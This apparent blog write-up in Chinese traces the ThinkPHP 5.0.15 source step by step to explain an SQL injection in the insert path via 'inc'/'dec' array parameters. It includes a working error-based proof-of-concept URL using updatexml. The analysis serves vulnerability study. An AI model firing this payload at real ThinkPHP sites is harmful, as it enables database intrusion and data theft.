大多数文章都是分析了几个关键点,没有去详细的分析一下源码,最近,逐行跟了一下thinkphp5.0.15的SQL注入漏洞,
希望对分析thinkphp框架SQL注入的师傅们有点帮助。
先摆上这次需要用到的一些内置函数
list — 把数组中的值赋给一组变量
array_walk_recursive — 对数组中的每个成员递归地应用用户函数
注意 键和值是反过来的
is_scalar — 检测变量是否是一个标量
composer安装
刚刚学到一个composer的新用法,可以把tp版本回退
"require": { "php": ">=5.4.0", "topthink/think-installer": "5.0.15" },
这样就可以回退到5.0.15版本
index控制器 加上这么一段连接数据库的代码
<?php namespace app\index\controller; class Index { public function index() { $username = request()->get('username/a'); db('users')->insert(['username' => $username]); return 'Update success'; } }
database.php中 配置数据库,
在创建一个数据库
create database tpdemo; use tpdemo; create table users( id int primary key auto_increment, username varchar(50) not null );
config.php中 配置这两个为true
http://127.0.0.1/tp5.0.22/public/index.php/index/Index/index?username[0]=dec&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1
get打个断点,调一下
进入get方法
/** * 设置获取GET参数 * @access public * @param string|array $name 变量名 * @param mixed $default 默认值 * @param string|array $filter 过滤方法 * @return mixed */ public function get($name = '', $default = null, $filter = '') { if (empty($this->get)) { $this->get = $_GET;//把GET数组 传给 get变量,不过我在这里调试的时候,get已经有值了, //我估计应该是框架启动的时候添加的 } if (is_array($name)) {//这里的name参数,是前面get方法设置的username/a /a代表强制转换成数组 //这里的name很显然不是数组,直接进入到了下面的input方法 $this->param = []; return $this->get = array_merge($this->get, $name); } return $this->input($this->get, $name, $default, $filter);// 四个参数 GET数组,username/a,null,'' }
input方法
/** * 获取变量 支持过滤和默认值 * @param array $data 数据源 * @param string|false $name 字段名 * @param mixed $default 默认值 * @param string|array $filter 过滤函数 * @return mixed */ public function input($data = [], $name = '', $default = null, $filter = '') { if (false === $name) {//这里的name如果是false的换,就代表前面的get方法没有定义获取那个数据,以及数据类型 // 获取原始数据 return $data; } $name = (string) $name; if ('' != $name) { // 解析name if (strpos($name, '/')) {//检测name中是否有/ 也就代表检测对数据格式是否有要求 list($name, $type) = explode('/', $name);// 把name根据/ 拆分成数组,然后赋值给name type //现在name=username type=a } else { $type = 's';//如果前面的获取参数的方法没有设置数据类型,默认为s 字符串类型 } // 按.拆分成多维数组进行判断 foreach (explode('.', $name) as $val) {//前面只传了username 所以val=username, //多说一句,我推测这里的.应该是input('变量类型.变量名/修饰符'); //tp官方文档里面定义的助手函数,这里有个“.” if (isset($data[$val])) {//data是GET数组中的内容,data[username] $data = $data[$val];//这样就把请求中的username参数,,传给了data, //注意这里的username也是一个数组 } else { // 无输入数据,返回默认值 return $default;//代表没有规则(username/a)中的参数传入,所以返回默认值 } } if (is_object($data)) {//data是username这个数组,不是对象 return $data; } } // 解析过滤器 $filter = $this->getFilter($filter, $default); // 看下getFiler函数, 就是对filter进行了一个赋值,传进来的filter是空字符串'',返回的filter是空数组[] //protected function getFilter($filter, $default) // { // if (is_null($filter)) { // $filter = []; // } else { // $filter = $filter ?: $this->filter; // if (is_string($filter) && false === strpos($filter, '/')) { // $filter = explode(',', $filter); // } else { // $filter = (array) $filter; // } // } // $filter[] = $default; // return $filter; //} if (is_array($data)) {//data是username的数组 array_walk_recursive($data, [$this, 'filterValue'], $filter);//进入回调函数,
跟进看一下filterValue函数,类似于循环,会把数组中的元素,挨个传到filterValue方法
private function filterValue(&$value, $key, $filters)//value是data中的值,也就是GET数组中的值,即 //参数的值,key是GET数组中的键,即参数的名,filters是要过滤规则 { $default = array_pop($filters);//把数组中的元素弹出 foreach ($filters as $filter) { if (is_callable($filter)) {//是否能够进行函数调用,这里的filter是空,所以无法调用 // 调用函数或者方法过滤 $value = call_user_func($filter, $value); } elseif (is_scalar($value)) {//检测一个变量是否是标量,那些东西是标量看上面的函数介绍 if (false !== strpos($filter, '/')) {//filter为空,所以strpos返回false,进入到了下面的elseif // 正则过滤 if (!preg_match($filter, $value)) { // 匹配不成功返回默认值 $value = $default; break; } } elseif (!empty($filter)) {//filter是空的,所以这里也会跳过 // filter函数不存在时, 则使用filter_var进行过滤 // filter为非整形值时, 调用filter_id取得过滤id $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter)); if (false === $value) { $value = $default; break; } } } } return $this->filterExp($value);//直接就到了这里的filterExp方法
看一下这个方法是一个过滤函数,但是payload中的关键字,都没被过滤
public function filterExp(&$value)//这里的value是引用传值,所以说data中的值,会被直接修改 { // 过滤查询特殊字符 if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) { $value .= ' ';//如果被检测到,会在后面加一个空格 } // TODO 其他安全过滤 } }
回到input函数
reset($data);//数组指针指向数组中的第一个单元 } else { $this->filterValue($data, $name, $filter); } if (isset($type) && $data !== $default) {//type已经设置是a, $default是null //所以这里会进入typeCast的判断 // 强制类型转换 $this->typeCast($data, $type); } return $data;//把data返回 }
跟进typeCast方法,进行强制转换
private function typeCast(&$data, $type) { switch (strtolower($type)) { // 数组 case 'a': $data = (array) $data;//因为type是a,所以强制转换为数组 break; // 数字 case 'd': $data = (int) $data; break; // 浮点 case 'f': $data = (float) $data; break; // 布尔 case 'b': $data = (boolean) $data; break; // 字符串 case 's': default: if (is_scalar($data)) { $data = (string) $data; } else { throw new \InvalidArgumentException('variable type error:' . gettype($data)); } } }
这里和官方文档的对上了
梳理一下,从调用get开始,到返回data经过的步骤
下面进入到了insert方法
看一下传给Insert方法的参数
GET数组中的值已经被传过来了
这里的db,这种写法是利用了助手函数,所以会进入到helper.php中
helper.php
if (!function_exists('db')) { /** * 实例化数据库类 * @param string $name 操作的数据表名称(不含前缀) * @param array|string $config 数据库配置参数 * @param bool $force 是否强制重新连接 * @return \think\db\Query */ function db($name = '', $config = [], $force = false)//只传了一个name是users { return Db::connect($config, $force)->name($name); } }
跟进
Db::connect 会进入到Loader.php 下的autoload方法,触发自动加载 把Db类导入
*/ public static function autoload($class) { // 检测命名空间别名 if (!empty(self::$namespaceAlias)) { $namespace = dirname($class); if (isset(self::$namespaceAlias[$namespace])) { $original = self::$namespaceAlias[$namespace] . '\\' . basename($class); if (class_exists($original)) { return class_alias($original, $class, false); } } }
结果就是把这个文件包含进来
进入connect方法
public static function connect($config = [], $name = false) //传过来的参数是$config=[] $name=false和默认一样 { if (false === $name) {//进入 $name = md5(serialize($config));//对config进行一次序列化和md5 } if (true === $name || !isset(self::$instance[$name])) { //name虽然不等于true, //但是后面的self::$instance[$name]是没有设置的, //个人感觉$name是一个MD5的hash值是一个随机的数,不能这么巧,恰好定义 //回去看了一下$instance的定义 //@var Connection[] 数据库连接实例 // 解析连接参数 支持数组和字符串 $options = self::parseConfig($config);//config=[] 空数组
跟进parseConfig方法
/** * 数据库连接参数解析 * @access private * @param mixed $config 连接参数 * @return array */ private static function parseConfig($config) { if (empty($config)) {//进入 $config = Config::get('database');//跟进,详细的在下面 } elseif (is_string($config) && false === strpos($config, '/')) { $config = Config::get($config); // 支持读取配置参数 } return is_string($config) ? self::parseDsn($config) : $config; }
跟进config的get方法
/** * 获取配置参数 为空则获取所有配置 * @access public * @param string $name 配置参数名(支持二级配置 . 号分割) * @param string $range 作用域 * @return mixed */ public static function get($name = null, $range = '')//name=database { $range = $range ?: self::$range;//这个文件自定义了一个静态变量,值是_sys_ // 无参数时获取所有 if (empty($name) && isset(self::$config[$range])) {//name不是空,所以跳过这个if return self::$config[$range]; } // 非二级配置时直接返回 if (!strpos($name, '.')) {//name中没有 "." 所以进入 $name = strtolower($name);//变成小写 return isset(self::$config[$range][$name]) ? self::$config[$range][$name] : null; //如果self::$config[_sys_][database]已经设置返回self::$config[_sys_][database] 否则返回Null //$config变量在框架初始化的时候,就已经加载完毕了, //关于database的内容就是 application/database.php中的内容 } }
这里提到一个二级配置 看看是个啥东西
就是一个嵌套的数组
读取二级配置
这里有个 "." 这就对应上了
为啥有点"."就跳过
回到connect方法
if (empty($options['type'])) {//这里的type是数据库的类型,我这里用的MySQL throw new \InvalidArgumentException('Undefined db type'); } $class = false !== strpos($options['type'], '\\') ? $options['type'] : '\\think\\db\\connector\\' . ucwords($options['type']); // 记录初始化信息 if (App::$debug) { Log::record('[ DB ] INIT ' . $options['type'], 'info');//这里会把初始化信息写入日志 } if (true === $name) {//name不等于true,跳过 $name = md5(serialize($config)); } self::$instance[$name] = new $class($options);//new 一个MySQL类,参数是database中的配置信息 } return self::$instance[$name];//把实例化好的MySQL类返回 }
$class是MySQL
同样会调用自动加载
然后把文件包含进来
之后进入connection类的初始化方法,因为MySQL类是继承自connection类的,并且MySQL类没有实现初始化方法
public function __construct(array $config = [])//传过来的config是database.php中的配置参数 { if (!empty($config)) { $this->config = array_merge($this->config, $config);//这里进行合并 } }
之后就回到了connect方法,紧接着调用insert方法,
/** * 插入记录 * @access public * @param mixed $data 数据 * @param boolean $replace 是否replace * @param boolean $getLastInsID 返回自增主键 * @param string $sequence 自增序列名 * @return integer|string */ public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null) { // 分析查询表达式 $options = $this->parseExpress();
跟进parseExpress方法
/** * 分析表达式(可用于查询或者写入操作) * @access protected * @return array */ protected function parseExpress() { $options = $this->options; // 获取数据表 if (empty($options['table'])) {//没有设置$option['table'],所以进入if $options['table'] = $this->getTable();//获取表名 }
进入getTable方法,获取表名
** * 得到当前或者指定名称的数据表 * @access public * @param string $name * @return string */ public function getTable($name = '') { if ($name || empty($this->table)) {//name没有设置为空,所以会进入if $name = $name ?: $this->name;//把属性中的name传过来,进行赋值 $tableName = $this->prefix;//这个prefix是表前缀,没有定义 if ($name) {//现在name已经不为空了,==》users $tableName .= Loader::parseName($name);//这个parseName是命名风格转换,影响不大,跳过 } } else { $tableName = $this->table; } return $tableName;//最后把表名返回 }
回到parseExpress方法
if (!isset($options['where'])) {//没有设置,置where字段为空数组 $options['where'] = []; } elseif (isset($options['view'])) { // 视图查询条件处理 foreach (['AND', 'OR'] as $logic) { if (isset($options['where'][$logic])) { foreach ($options['where'][$logic] as $key => $val) { if (array_key_exists($key, $options['map'])) { $options['where'][$logic][$options['map'][$key]] = $val; unset($options['where'][$logic][$key]); } } } } if (isset($options['order'])) {//没有设置order字段,直接跳过 // 视图查询排序处理 if (is_string($options['order'])) { $options['order'] = explode(',', $options['order']); } foreach ($options['order'] as $key => $val) { if (is_numeric($key)) { if (strpos($val, ' ')) { list($field, $sort) = explode(' ', $val); if (array_key_exists($field, $options['map'])) { $options['order'][$options['map'][$field]] = $sort; unset($options['order'][$key]); } } elseif (array_key_exists($val, $options['map'])) { $options['order'][$options['map'][$val]] = 'asc'; unset($options['order'][$key]); } } elseif (array_key_exists($key, $options['map'])) { $options['order'][$options['map'][$key]] = $val; unset($options['order'][$key]); } } } } if (!isset($options['field'])) {//没有设置,置field字段为* $options['field'] = '*'; } if (!isset($options['data'])) { $options['data'] = [];//置data字段为空数组 } if (!isset($options['strict'])) { $options['strict'] = $this->getConfig('fields_strict');//获取数据库的配置参数, //这个先是调用query类的getConfig方法,之后再去调用connection类的getConfig方法,获取数据库的配置信息 } foreach (['master', 'lock', 'fetch_pdo', 'fetch_sql', 'distinct'] as $name) { //这个foreach循环,大致意思是判断$option中有没有设置对应的单元,没有设置则置为false if (!isset($options[$name])) { $options[$name] = false; } } foreach (['join', 'union', 'group', 'having', 'limit', 'order', 'force', 'comment'] as $name) { //和上面一样,不过这个是置为空字符串 if (!isset($options[$name])) { $options[$name] = ''; } } if (isset($options['page'])) {//没有设置,直接跳过 // 根据页数计算limit list($page, $listRows) = $options['page']; $page = $page > 0 ? $page : 1; $listRows = $listRows > 0 ? $listRows : (is_numeric($options['limit']) ? $options['limit'] : 20); $offset = $listRows * ($page - 1); $options['limit'] = $offset . ',' . $listRows; } $this->options = [];//options属性置为空数组,他和options变量不一样 return $options; }
看下options的内容
回到insert方法,继续往下看
$data = array_merge($options['data'], $data);//把option中的data和data数组合并 // 生成SQL语句 $sql = $this->builder->insert($data, $options, $replace);//调用builder类的insert方法
跟进 看一下注释就知道这个方法是干啥的了
** * 生成insert SQL * @access public * @param array $data 数据 * @param array $options 表达式 * @param bool $replace 是否replace * @return string */ public function insert(array $data, $options = [], $replace = false) { // 分析并处理数据 $data = $this->parseData($data, $options);// 跟进parseData方法, /** * 数据分析 * @access protected * @param array $data 数据 * @param array $options 查询参数 * @return array * @throws Exception */ protected function parseData($data, $options) { if (empty($data)) {//data非空,跳过 return []; } // 获取绑定信息 $bind = $this->query->getFieldsBind($options['table']);//进入query类的getFieldsBind方法, 跟进 getFieldsBind 方法 // 获取当前数据表绑定信息 public function getFieldsBind($table = '')//table=users { $types = $this->getFieldsType($table);//跟进 跟进getFieldsType方法, // 获取当前数据表字段类型 public function getFieldsType($table = '') { return $this->getTableInfo($table ?: $this->getOptions('table'), 'type');//跟进 } 跟进getTableInfo方法 /** * 获取数据表信息 * @access public * @param mixed $tableName 数据表名 留空自动获取 * @param string $fetch 获取信息类型 包括 fields type bind pk * @return mixed */ public function getTableInfo($tableName = '', $fetch = '') { if (!$tableName) {//tablename已经设置,跳过 $tableName = $this->getTable(); } if (is_array($tableName)) {//不是数组,users 跳过 $tableName = key($tableName) ?: current($tableName); } if (strpos($tableName, ',')) {//tablename中没有逗号,跳过 // 多表不获取字段信息 return false; } else {//进入这个分支 $tableName = $this->parseSqlTable($tableName);//调用到parseSqlTable方法, //这个方法的作用是把表名转成小写,不在详细分析 } // 修正子查询作为表名的问题 if (strpos($tableName, ')')) {//同样 tablename中也没有),跳过 return []; } list($guid) = explode(' ', $tableName);//跟进空格,拆分成数组赋值给guid $db = $this->getConfig('database');//获取数据库名 if (!isset(self::$info[$db . '.' . $guid])) {// 判断有没有设置info[tpdemo.users] if (!strpos($guid, '.')) {//如果guid这个变量中,没有点“.” 就把库名和表名,通过"." 连接起来 $schema = $db . '.' . $guid; } else { $schema = $guid; } // 读取缓存 if (!App::$debug && is_file(RUNTIME_PATH . 'schema/' . $schema . '.php')) {//没有设置缓存,跳过 $info = include RUNTIME_PATH . 'schema/' . $schema . '.php'; } else { $info = $this->connection->getFields($guid);//获取表中的字段信息, }
跟进getFields方法
/** * 取得数据表的字段信息 * @access public * @param string $tableName * @return array */ public function getFields($tableName) { list($tableName) = explode(' ', $tableName);//把表名根据空字符串拆成数组, if (false === strpos($tableName, '`')) {//如果tablename中没有反引号“`”,在tablename两端加上反引号 if (strpos($tableName, '.')) { $tableName = str_replace('.', '`.`', $tableName); } $tableName = '`' . $tableName . '`'; } $sql = 'SHOW COLUMNS FROM ' . $tableName;// 执行一次查询,拿到当前表名的列信息 $pdo = $this->query($sql, [], false, true); $result = $pdo->fetchAll(PDO::FETCH_ASSOC);
简单的看一下query方法,他是利用了PDO来查询
if (empty($this->PDOStatement)) { $this->PDOStatement = $this->linkID->prepare($sql); }
这是我在数据库,执行一次,拿到的结果
mysql> show columns from users; +----------+-------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +----------+-------------+------+-----+---------+----------------+ | id | int(11) | NO | PRI | NULL | auto_increment | | username | varchar(50) | NO | | NULL | | +----------+-------------+------+-----+---------+----------------+ 2 rows in set (0.00 sec)
接着看getFields方法
现在的result数组
$info = []; if ($result) { foreach ($result as $key => $val) {//变量result数组 $val = array_change_key_case($val);//把数组的键名都变成小写,val也是一个数组 $info[$val['field']] = [//执行完这一段之后,就把val中的信息,传给了 info 'name' => $val['field'],//字段名 'type' => $val['type'],//字段的类型 'notnull' => (bool) ('' === $val['null']), // not null is empty, null is yes 'default' => $val['default'], 'primary' => (strtolower($val['key']) == 'pri'), 'autoinc' => (strtolower($val['extra']) == 'auto_increment'), ]; } } return $this->fieldCase($info);//这个方法是把字段进行一个大小写的转换 }
看下返回的内容
回到getTableInfo方法
$fields = array_keys($info); $bind = $type = []; foreach ($info as $key => $val) { // 记录字段类型 $type[$key] = $val['type']; $bind[$key] = $this->getFieldBindType($val['type']);
跟进getFieldBindType方法
/** * 获取字段绑定类型 * @access public * @param string $type 字段类型 * @return integer */ protected function getFieldBindType($type) { if (0 === strpos($type, 'set') || 0 === strpos($type, 'enum')) { $bind = PDO::PARAM_STR; } elseif (preg_match('/(int|double|float|decimal|real|numeric|serial|bit)/is', $type)) { //因为数据库里设置id字段的类型是int ,所以会进入这个分支, //PDO::PARAM_INT (integer) //表示 SQL 中的整型。 $bind = PDO::PARAM_INT; } elseif (preg_match('/bool/is', $type)) { $bind = PDO::PARAM_BOOL; } else {//username字段是字符串类型,会进入最后一个分支 $bind = PDO::PARAM_STR; } return $bind;//把bind返回, }
回到getTableInfo方法
if (!empty($val['primary'])) {//这一块是一个设置主机的过程,不详细分析了 $pk[] = $key; } } if (isset($pk)) { // 设置主键 $pk = count($pk) > 1 ? $pk : $pk[0]; } else { $pk = null; } self::$info[$db . '.' . $guid] = ['fields' => $fields, 'type' => $type, 'bind' => $bind, 'pk' => $pk]; //对self::$info进行赋值,把users表的字段信息,都返回 } return $fetch ? self::$info[$db . '.' . $guid][$fetch] : self::$info[$db . '.' . $guid]; }
把self::$info返回,内容在这里
回到getFieldsBind方法
$bind = []; if ($types) { foreach ($types as $key => $type) { $bind[$key] = $this->getFieldBindType($type);//同样绑定类型 } } return $bind; }
看下bind
直接返回到了parseData,
回到parseData方法
if ('*' == $options['field']) { $fields = array_keys($bind);//把键名变成小写,id username赋值给了fields } else { $fields = $options['field']; } $result = []; foreach ($data as $key => $val) {//现在变成data了,遍历请求中的参数 $item = $this->parseKey($key, $options);//进入
parseKey方法
/** * 字段和表名处理 * @access protected * @param string $key * @param array $options * @return string */ protected function parseKey($key, $options = [])//key是username option是配置数组 { $key = trim($key); if (strpos($key, '$.') && false === strpos($key, '(')) {//检测是否是json字段, // JSON字段支持 list($field, $name) = explode('$.', $key); $key = 'json_extract(' . $field . ', \'$.' . $name . '\')'; } elseif (strpos($key, '.') && !preg_match('/[,\'\"\(\)`\s]/', $key)) {//key中,没有. 跳过 list($table, $key) = explode('.', $key, 2); if ('__TABLE__' == $table) { $table = $this->query->getTable(); } if (isset($options['alias'][$table])) { $table = $options['alias'][$table]; } } if (!preg_match('/[,\'\"\*\(\)`.\s]/', $key)) {//正则不匹配,在加上! 进入 $key = '`' . $key . '`';//key两端加上反引号`` } if (isset($table)) { if (strpos($table, '.')) { $table = str_replace('.', '`.`', $table); } $key = '`' . $table . '`.' . $key; } return $key;//最后把加上反引号的key返回,`key` }
回到parseData方法
if (is_object($val) && method_exists($val, '__toString')) {//val是请求参数的值,很明显不是对象 // 对象数据写入 $val = $val->__toString();//这里有个string魔术方法,如果有可以写文件的类说不定,还可以利用 } if (false === strpos($key, '.') && !in_array($key, $fields, true)) {//key中没有点"." 直接跳过, //这个if分支应该是用来判断前端传过来的参数是否有对应的数据库字段 if ($options['strict']) { throw new Exception('fields not exists:[' . $key . ']'); } } elseif (is_null($val)) { $result[$item] = 'NULL'; } elseif (is_array($val) && !empty($val)) {//判断请求中传过来的参数值,并且进行了一个拼接, //需要控制第一个参数是inc或者dec,所以说payload中有一个inc,改成dec也可以 switch ($val[0]) { case 'exp': $result[$item] = $val[1]; break; case 'inc': $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]); break; case 'dec': $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]); break; } } elseif (is_scalar($val)) {//因为val是一个数组,不是标量,直接跳过 // 过滤非标量数据 if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) { $result[$item] = $val; } else { $key = str_replace('.', '_', $key); $this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR); $result[$item] = ':data__' . $key; } } } return $result;//把拼接之后的sql语句返回 }
看一下现在的result数组
回到Builder类的insert方法
if (empty($data)) { return 0; } $fields = array_keys($data);//字段名`username` $values = array_values($data);//要插入的东西 updatexml(1,concat(0x7e,user(),0x7e),1)+1 $sql = str_replace(//这里会对模板sql语句进行一个替换 ['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'], [ $replace ? 'REPLACE' : 'INSERT', $this->parseTable($options['table'], $options), implode(' , ', $fields),//根据逗号, 把字符串连接成数组 implode(' , ', $values), $this->parseComment($options['comment']), ], $this->insertSql); return $sql; }
大致是这样
模板sql语句是这样的
回到insert方法
看一下现在的sql语句
已经把payload 拼接上了
// 获取参数绑定 $bind = $this->getBind(); if ($options['fetch_sql']) {//fetch_sql没有设置,所以跳过 // 获取实际执行的SQL语句 return $this->connection->getRealSql($sql, $bind); // } // 执行操作 $result = 0 === $sql ? 0 : $this->execute($sql, $bind);//这里就把sql给执行了
跟一下execute方法
这里同样是用的PDO预处理
后面这里执行
漏洞的产生点,主要有两个
1、获取参数时,开启了数组的获取方式
2、当参数中有inc dec时,进行了参数的拼接,把payload带入到了sql语句中